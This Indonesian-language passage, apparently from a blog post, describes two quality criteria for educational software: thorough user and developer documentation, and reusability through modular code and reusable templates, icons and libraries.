Dokumentasi media pembelajaran yang dibuat harus meliputi: petunjuk instalasi (jelas, singkat, lengkap), trouble shooting (jelas, terstruktur, dan antisipatif), desain program (jelas, menggambarkan alur kerja program). Dokumentasi, selain berorientasi ke kemudahan pengguna dengan adanya help, readme, panduan penggunaan, dsb, juga berorientasi pada pengembang yang diimplikasikan pada lengkapnya dokumentasi dan penjelasan pada kode program sehingga memudahkan dalam modifikasi.
9. Reusabilitas (Sebagian atau Seluruh Program Media Pembelajaran dapat Dimanfaatkan Kembali untuk Mengembangkan Media Pembelajaran Lain)
Eric S. Raymond, seorang tokoh programmer opensource mengatakan “Good programmers know what to write. Great ones know what to rewrite and reuse”. Setelah level membuat terlewati, seorang pengembang harus meningkatkan kemampuan diri untuk tidak hanya berorientasi membuat, tapi juga berorientasi ke bagaimana fitur dan fungsi program kita supaya dapat digunakan lagi di program lain dengan mudah. Bagaimana kita mendesain sebuah source code (kode sumber), icon, logo, tombol dan sebagainya sehingga dengan mudah dapat digunakan kembali (reuse) pada program media pembelajaran lain, itulah arti dari reusabilitas.
Template menu, icon, logo, tombol, dsb yang telah dibuat dapat dengan mudah digunakan untuk program lain. Library (DLL, API, dsb) juga dikemas dengan baik sehingga dapat dimanfaatkan oleh program lain. Program tersusun secara modular, hal ini mempermudah penggunaan kembali (reusabilitas).

Read More......